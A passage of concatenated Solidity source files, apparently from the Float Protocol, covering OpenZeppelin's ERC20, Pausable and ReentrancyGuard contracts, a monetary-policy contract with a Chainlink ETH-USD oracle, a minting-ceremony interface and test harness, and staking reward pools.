`nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; /** * @title Minting Ceremony */ interface IMintingCeremony { function allowance(address account) external view returns (uint256 remainingAllowance); function underlying() external view returns (address); function commit( address recipient, uint256 underlyingIn, uint256 floatOutMin ) external returns (uint256 floatOut); function mint() external; } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; // The Window is time-based so will rely on time, however period > 30 minutes // minimise the risk of oracle manipulation. // solhint-disable not-rely-on-time /** * @title A windowed contract * @notice Provides a window for actions to occur */ contract Windowed { /* ========== STATE VARIABLES ========== */ /** * @notice The timestamp of the window start */ uint256 public startWindow; /** * @notice The timestamp of the window end */ uint256 public endWindow; /* ========== CONSTRUCTOR ========== */ constructor(uint256 _startWindow, uint256 _endWindow) { require(_startWindow > block.timestamp, "Windowed/StartInThePast"); require(_endWindow > _startWindow + 1 days, "Windowed/MustHaveDuration"); startWindow = _startWindow; endWindow = _endWindow; } /* ========== MODIFIERS ========== */ modifier inWindow() { require(block.timestamp >= startWindow, "Windowed/HasNotStarted"); require(block.timestamp <= endWindow, "Windowed/HasEnded"); _; } modifier afterWindow() { require(block.timestamp > endWindow, "Windowed/NotEnded"); _; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "../MintingCeremony.sol"; contract MintingCeremonyHarness is MintingCeremony { constructor( address governance_, address monetaryPolicy_, address basket_, address float_, address[] memory allowanceTokens_, uint256 ceremonyStart ) MintingCeremony( governance_, monetaryPolicy_, basket_, float_, allowanceTokens_, ceremonyStart ) {} function __monetaryPolicy() external view returns (address) { return address(monetaryPolicy); } function __basket() external view returns (address) { return address(basket); } function __float() external view returns (address) { return address(float); } function __allowanceTokens(uint256 idx) external view returns (address) { return address(allowanceTokens[idx]); } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./interfaces/IMonetaryPolicy.sol"; import "../lib/BlockNumber.sol"; import "../lib/MathHelper.sol"; import "../external-lib/SafeDecimalMath.sol"; import "../oracle/interfaces/IEthUsdOracle.sol"; contract MonetaryPolicyV1 is IMonetaryPolicy, BlockNumber, AccessControl { using SafeMath for uint256; using SafeDecimalMath for uint256; /* ========== CONSTANTS ========== */ bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE"); bytes32 public constant AUCTION_HOUSE_ROLE = keccak256("AUCTION_HOUSE_ROLE"); // 0.001$ <= Target Price <= 1000$ as a basic sense check uint256 private constant MAX_TARGET_PRICE = 1000e27; uint256 private constant MIN_TARGET_PRICE = 0.001e27; uint256 private constant MAX_PRICE_DELTA_BOUND = 1e27; uint256 private constant DEFAULT_MAX_PRICE_DELTA = 4e27; uint256 private constant DEFAULT_MAX_ADJ_PERIOD = 1e6; uint256 private constant DEFAULT_MIN_ADJ_PERIOD = 2e5; // 150 blocks (auction duration) < T_min < T_max < 10 000 000 (~4yrs) uint256 private constant CAP_MAX_ADJ_PERIOD = 1e7; uint256 private constant CAP_MIN_ADJ_PERIOD = 150; /** * @notice The default FLOAT starting price, golden ratio * @dev [e27] */ uint256 public constant STARTING_PRICE = 1.618033988749894848204586834e27; /* ========== STATE VARIABLES ========== */ /** * @notice The FLOAT target price in USD. * @dev [e27] */ uint256 public targetPrice = STARTING_PRICE; /** * @notice If dynamic pricing is enabled. */ bool public dynamicPricing = true; /** * @notice Maximum price Delta of 400% */ uint256 public maxPriceDelta = DEFAULT_MAX_PRICE_DELTA; /** * @notice Maximum adjustment period T_max (Blocks) * @dev "How long it takes us to normalise" * - T_max => T_min, quicker initial response with higher price changes. */ uint256 public maxAdjustmentPeriod = DEFAULT_MAX_ADJ_PERIOD; /** * @notice Minimum adjustment period T_min (Blocks) * @dev "How quickly we respond to market price changes" * - Low T_min, increased tracking. */ uint256 public minAdjustmentPeriod = DEFAULT_MIN_ADJ_PERIOD; /** * @notice Provides the ETH-USD exchange rate e.g. 1.5e27 would mean 1 ETH = $1.5 * @dev [e27] decimal fixed point number */ IEthUsdOracle public ethUsdOracle; /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new Monetary Policy * @param _governance Governance address (can add new roles & parameter control) * @param _ethUsdOracle The [e27] ETH USD price feed. */ constructor(address _governance, address _ethUsdOracle) { ethUsdOracle = IEthUsdOracle(_ethUsdOracle); // Roles _setupRole(DEFAULT_ADMIN_ROLE, _governance); _setupRole(GOVERNANCE_ROLE, _governance); } /* ========== MODIFIERS ========== */ modifier onlyGovernance { require(hasRole(GOVERNANCE_ROLE, msg.sender), "MonetaryPolicy/OnlyGovRole"); _; } modifier onlyAuctionHouse { require( hasRole(AUCTION_HOUSE_ROLE, msg.sender), "MonetaryPolicy/OnlyAuctionHouse" ); _; } /* ========== VIEWS ========== */ /** * @notice Consult monetary policy to get the current target price of FLOAT in ETH * @dev [e27] */ function consult() public view override(IMonetaryPolicy) returns (uint256) { if (!dynamicPricing) return _toEth(STARTING_PRICE); return _toEth(targetPrice); } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- onlyGovernance ----- */ /** * @notice Updates the EthUsdOracle * @param _ethUsdOracle The address of the ETH-USD price oracle. */ function setEthUsdOracle(address _ethUsdOracle) external onlyGovernance { require(_ethUsdOracle != address(0), "MonetaryPolicyV1/ValidAddress"); ethUsdOracle = IEthUsdOracle(_ethUsdOracle); } /** * @notice Set the target price of FLOAT * @param _targetPrice [e27] */ function setTargetPrice(uint256 _targetPrice) external onlyGovernance { require(_targetPrice <= MAX_TARGET_PRICE, "MonetaryPolicyV1/MaxTarget"); require(_targetPrice >= MIN_TARGET_PRICE, "MonetaryPolicyV1/MinTarget"); targetPrice = _targetPrice; } /** * @notice Allows dynamic pricing to be turned on / off. */ function setDynamicPricing(bool _dynamicPricing) external onlyGovernance { dynamicPricing = _dynamicPricing; } /** * @notice Allows monetary policy parameters to be adjusted. */ function setPolicyParameters( uint256 _minAdjustmentPeriod, uint256 _maxAdjustmentPeriod, uint256 _maxPriceDelta ) external onlyGovernance { require( _minAdjustmentPeriod < _maxAdjustmentPeriod, "MonetaryPolicyV1/MinAdjLTMaxAdj" ); require( _maxAdjustmentPeriod <= CAP_MAX_ADJ_PERIOD, "MonetaryPolicyV1/MaxAdj" ); require( _minAdjustmentPeriod >= CAP_MIN_ADJ_PERIOD, "MonetaryPolicyV1/MinAdj" ); require( _maxPriceDelta >= MAX_PRICE_DELTA_BOUND, "MonetaryPolicyV1/MaxDeltaBound" ); minAdjustmentPeriod = _minAdjustmentPeriod; maxAdjustmentPeriod = _maxAdjustmentPeriod; maxPriceDelta = _maxPriceDelta; } /* ----- onlyAuctionHouse ----- */ /** * @notice Updates with previous auctions result * @dev future:param round Round number * @param lastAuctionBlock The last time an auction started. * @param floatMarketPriceInEth [e27] The current float market price (ETH) * @param basketFactor [e27] The basket factor given the prior target price * @return targetPriceInEth [e27] */ function updateGivenAuctionResults( uint256, uint256 lastAuctionBlock, uint256 floatMarketPriceInEth, uint256 basketFactor ) external override(IMonetaryPolicy) onlyAuctionHouse returns (uint256) { // Exit early if this is the first auction if (lastAuctionBlock == 0) { return consult(); } return _updateTargetPrice(lastAuctionBlock, floatMarketPriceInEth, basketFactor); } /** * @dev Converts [e27] USD price, to an [e27] ETH Price */ function _toEth(uint256 price) internal view returns (uint256) { uint256 ethInUsd = ethUsdOracle.consult(); return price.divideDecimalRoundPrecise(ethInUsd); } /** * @dev Updates the $ valued target price, returns the eth valued target price. */ function _updateTargetPrice( uint256 _lastAuctionBlock, uint256 _floatMarketPriceInEth, uint256 _basketFactor ) internal returns (uint256) { // _toEth pulled out as we do a _fromEth later. uint256 ethInUsd = ethUsdOracle.consult(); uint256 priorTargetPriceInEth = targetPrice.divideDecimalRoundPrecise(ethInUsd); // Check if basket and FLOAT are moving the same direction bool basketFactorDown = _basketFactor < SafeDecimalMath.PRECISE_UNIT; bool floatDown = _floatMarketPriceInEth < priorTargetPriceInEth; if (basketFactorDown != floatDown) { return priorTargetPriceInEth; } // N.B: block number will always be >= _lastAuctionBlock uint256 auctionTimePeriod = _blockNumber().sub(_lastAuctionBlock); uint256 normDelta = _normalisedDelta(_floatMarketPriceInEth, priorTargetPriceInEth); uint256 adjustmentPeriod = _adjustmentPeriod(normDelta); // [e27] uint256 basketFactorDiff = MathHelper.diff(_basketFactor, SafeDecimalMath.PRECISE_UNIT); uint256 targetChange = priorTargetPriceInEth.multiplyDecimalRoundPrecise( basketFactorDiff.mul(auctionTimePeriod).div(adjustmentPeriod) ); // If we have got this far, then we know that market and basket are // in the same direction, so basketFactor can be used to choose direction. uint256 targetPriceInEth = basketFactorDown ? priorTargetPriceInEth.sub(targetChange) : priorTargetPriceInEth.add(targetChange); targetPrice = targetPriceInEth.multiplyDecimalRoundPrecise(ethInUsd); return targetPriceInEth; } function _adjustmentPeriod(uint256 _normDelta) internal view returns (uint256) { // calculate T, 'the adjustment period', similar to "lookback" as it controls the length of the tail // T = T_max - d (T_max - T_min). // = d * T_min + T_max - d * T_max // TBC: This doesn't need safety checks // T_min <= T <= T_max return minAdjustmentPeriod .multiplyDecimalRoundPrecise(_normDelta) .add(maxAdjustmentPeriod) .sub(maxAdjustmentPeriod.multiplyDecimalRoundPrecise(_normDelta)); } /** * @notice Obtain normalised delta between market and target price */ function _normalisedDelta( uint256 _floatMarketPriceInEth, uint256 _priorTargetPriceInEth ) internal view returns (uint256) { uint256 delta = MathHelper.diff(_floatMarketPriceInEth, _priorTargetPriceInEth); uint256 scaledDelta = delta.divideDecimalRoundPrecise(_priorTargetPriceInEth); // Invert delta if contraction to flip curve from concave increasing to convex decreasing // Also allows for a greater response in expansions than contractions. if (_floatMarketPriceInEth < _priorTargetPriceInEth) { scaledDelta = scaledDelta.divideDecimalRoundPrecise( SafeDecimalMath.PRECISE_UNIT.sub(scaledDelta) ); } // Normalise delta based on Dmax -> 0 <= d <= X uint256 normDelta = scaledDelta.divideDecimalRoundPrecise(maxPriceDelta); // Cap normalised delta 0 <= d <= 1 if (normDelta > SafeDecimalMath.PRECISE_UNIT) { normDelta = SafeDecimalMath.PRECISE_UNIT; } return normDelta; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; library MathHelper { function diff(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x > y ? x - y : y - x; } } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; interface IEthUsdOracle { /** * @notice Spot price * @return price The latest price as an [e27] */ function consult() external view returns (uint256 price); } // SPDX-License-Identifier: MIT pragma solidity =0.7.6; import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IEthUsdOracle.sol"; contract ChainlinkEthUsdConsumer is IEthUsdOracle { using SafeMath for uint256; /// @dev Number of decimal places in the representations. */ uint8 private constant AGGREGATOR_DECIMALS = 8; uint8 private constant PRICE_DECIMALS = 27; uint256 private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint256(PRICE_DECIMALS - AGGREGATOR_DECIMALS); AggregatorV3Interface internal immutable priceFeed; /** * @notice Construct a new price consumer * @dev Source: https://docs.chain.link/docs/ethereum-addresses#config */ constructor(address aggregatorAddress) { priceFeed = AggregatorV3Interface(aggregatorAddress); } /// @inheritdoc IEthUsdOracle function consult() external view override(IEthUsdOracle) returns (uint256 price) { (, int256 _price, , , ) = priceFeed.latestRoundData(); require(_price >= 0, "ChainlinkConsumer/StrangeOracle"); return (price = uint256(_price).mul( UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR )); } /** * @notice Retrieves decimals of price feed * @dev (`AGGREGATOR_DECIMALS` for ETH-USD by default, scaled up to `PRICE_DECIMALS` here) */ function getDecimals() external pure returns (uint8 decimals) { return (decimals = PRICE_DECIMALS); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ERC20.sol"; import "../../utils/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "synthetix/contracts/interfaces/IStakingRewards.sol"; import "./RewardDistributionRecipient.sol"; /** * @title Phase 2 BANK Reward Pool for Float Protocol * @notice This contract is used to reward `rewardToken` when `stakeToken` is staked. */ contract Phase2Pool is IStakingRewards, Context, AccessControl, RewardDistributionRecipient, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== CONSTANTS ========== */ uint256 public constant DURATION = 7 days; bytes32 public constant RECOVER_ROLE = keccak256("RECOVER_ROLE"); /* ========== STATE VARIABLES ========== */ IERC20 public rewardToken; IERC20 public stakeToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new Phase2Pool * @param _admin The default role controller for * @param _rewardDistribution The reward distributor (can change reward rate) * @param _rewardToken The reward token to distribute * @param _stakingToken The staking token used to qualify for rewards */ constructor( address _admin, address _rewardDistribution, address _rewardToken, address _stakingToken ) RewardDistributionRecipient(_admin) { rewardDistribution = _rewardDistribution; rewardToken = IERC20(_rewardToken); stakeToken = IERC20(_stakingToken); _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(RECOVER_ROLE, _admin); } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event Recovered(address token, uint256 amount); /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== VIEWS ========== */ function totalSupply() public view override(IStakingRewards) returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override(IStakingRewards) returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override(IStakingRewards) returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view override(IStakingRewards) returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view override(IStakingRewards) returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view override(IStakingRewards) returns (uint256) { return rewardRate.mul(DURATION); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) public virtual override(IStakingRewards) updateReward(msg.sender) { require(amount > 0, "Phase2Pool::stake: Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakeToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override(IStakingRewards) updateReward(msg.sender) { require(amount > 0, "Phase2Pool::withdraw: Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakeToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function exit() external override(IStakingRewards) { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public virtual override(IStakingRewards) updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- Reward Distributor ----- */ /** * @notice Should be called after the amount of reward tokens has been sent to the contract. Reward should be divisible by duration. * @param reward number of tokens to be distributed over the duration. */ function notifyRewardAmount(uint256 reward) external override onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure provided reward amount is not more than the balance in the contract. // Keeps reward rate within the right range to prevent overflows in earned or rewardsPerToken // Reward + leftover < 1e18 uint256 balance = rewardToken.balanceOf(address(this)); require( rewardRate <= balance.div(DURATION), "Phase2Pool::notifyRewardAmount: Insufficent balance for reward rate" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } /* ----- RECOVER_ROLE ----- */ /** * @notice Provide accidental token retrieval. * @dev Sourced from synthetix/contracts/StakingRewards.sol */ function recoverERC20(address tokenAddress, uint256 tokenAmount) external { require( hasRole(RECOVER_ROLE, _msgSender()), "Phase2Pool::recoverERC20: You must possess the recover role to recover erc20" ); require( tokenAddress != address(stakeToken), "Phase2Pool::recoverERC20: Cannot recover the staking token" ); require( tokenAddress != address(rewardToken), "Phase2Pool::recoverERC20: Cannot recover the reward token" ); IERC20(tokenAddress).safeTransfer(_msgSender(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } } pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/istakingrewards interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; abstract contract RewardDistributionRecipient is Context, AccessControl { bytes32 public constant DISTRIBUTION_ASSIGNER_ROLE = keccak256("DISTRIBUTION_ASSIGNER_ROLE"); address public rewardDistribution; constructor(address assigner) { _setupRole(DISTRIBUTION_ASSIGNER_ROLE, assigner); } modifier onlyRewardDistribution() { require( _msgSender() == rewardDistribution, "RewardDisributionRecipient::onlyRewardDistribution: Caller is not RewardsDistribution contract" ); _; } /* ========== RESTRICTED FUNCTIONS ========== */ /* ----- rewardDistribution ----- */ function notifyRewardAmount(uint256 reward) external virtual; /* ----- DISTRIBUTION_ASSIGNER_ROLE ----- */ function setRewardDistribution(address _rewardDistribution) external { require( hasRole(DISTRIBUTION_ASSIGNER_ROLE, _msgSender()), "RewardDistributionRecipient::setRewardDistribution: must have distribution assigner role" ); rewardDistribution = _rewardDistribution; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./RewardDistributionRecipient.sol"; import "./interfaces/IStakingRewardWhitelisted.sol"; import "./Whitelisted.sol"; import "./Phase2Pool.sol"; contract Phase1Pool is Phase2Pool, Whitelisted, IStakingRewardWhitelisted { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ uint256 public maximumContribution; /* ========== CONSTRUCTOR ========== */ /** * @notice Construct a new Phase1Pool * @param 